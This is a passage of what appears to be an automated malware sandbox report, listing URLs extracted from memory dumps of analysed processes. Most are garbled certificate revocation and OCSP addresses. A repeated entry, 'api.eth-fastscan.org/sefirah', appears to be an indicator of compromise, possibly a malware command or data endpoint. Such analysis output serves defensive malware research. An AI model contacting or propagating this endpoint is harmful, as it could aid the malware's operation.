"00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0wierissi" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/micro010%washington1redmond1microsoft" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003924.00000000.131413.19DF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003924.00000000.131413.19DF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003924.00000000.131413.19DF0000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000000.131413.7DC10000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000000.131413.7DFA0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eb6b117b6b1ourcesources02201000zu.netframources&ht" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0wierissources\l^3" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xmvvi," - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0washington1redmond1microsoft" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://wwwdefa$vkt7" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000001.131634.19F86000.00000004.mdmp") Found URL "http://crl.microd0ytjti9[7-=%1vt.''9" - Source: "00000000-00003924.00000001.131634.19F86000.00000004.mdmp") Found URL "http://microsoft.com0o(" - Source: "00000000-00003924.00000001.131634.19F86000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000001.131634.7DC10000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003924.00000001.131634.7DC3F000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000001.131634.7DC3F000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000001.131634.7DFA0000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00003924.00000001.131634.7F630000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj6n56b6n51b6n5:bthawte," - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46pp" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;f$eogtt3;1.3.6.1.4.1.311.60.3.21.3.6.1.4.1.311.60.3.31.3.132.0.9@eckp1.3.132.0.32ecdp1.3.132.0.33ecdp1.3.132.0.33@eckp1.3.132.0.10ecdp1.3.132.0.32@eckp1.3.132.0.10@eckp1.3.132.0.34ecdp1.3.132.0.34@eckp1.3.132.0.35ecdp" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eriss39>:0" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lincorporate6" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a250905032048z0/^g(o-cejy" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004260.00000000.130220.4B1C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004260.00000000.130220.4B1C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004260.00000000.130220.4B1C0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj6n56b6n51b6n5:bthawte," - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46pp" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;f$eogtt3;1.3.6.1.4.1.311.60.3.21.3.6.1.4.1.311.60.3.31.3.132.0.9@eckp1.3.132.0.32ecdp1.3.132.0.33ecdp1.3.132.0.33@eckp1.3.132.0.10ecdp1.3.132.0.32@eckp1.3.132.0.10@eckp1.3.132.0.34ecdp1.3.132.0.34@eckp1.3.132.0.35ecdp" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eriss39>:0" - Source: "00000000-00004260.00000001.130471.49830000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00004260.00000001.130471.49869000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00004260.00000001.130471.49869000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00004260.00000001.130471.49869000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004260.00000001.130471.498CF000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004260.00000001.130471.498CF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004260.00000001.130471.498CF000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsxt,k(s,kxt,kmicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czcwashington1redmond1microsoft" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lthawte," - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;tt3;zcpz" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris21.3.6.1.4.1.311.10.11.15!(ye1.3.6.1.4.1.311.10.3.301.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004524.00000000.130810.77020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004524.00000000.130810.78940000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004524.00000000.130810.78940000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004524.00000001.131077.5CB30000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004524.00000001.131077.5CBD9000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004524.00000001.131077.5CEF0000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004524.00000001.131077.5E700000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcwashington1redmond1microsoft" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l0\c" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;tt3;zcpz" - Source: 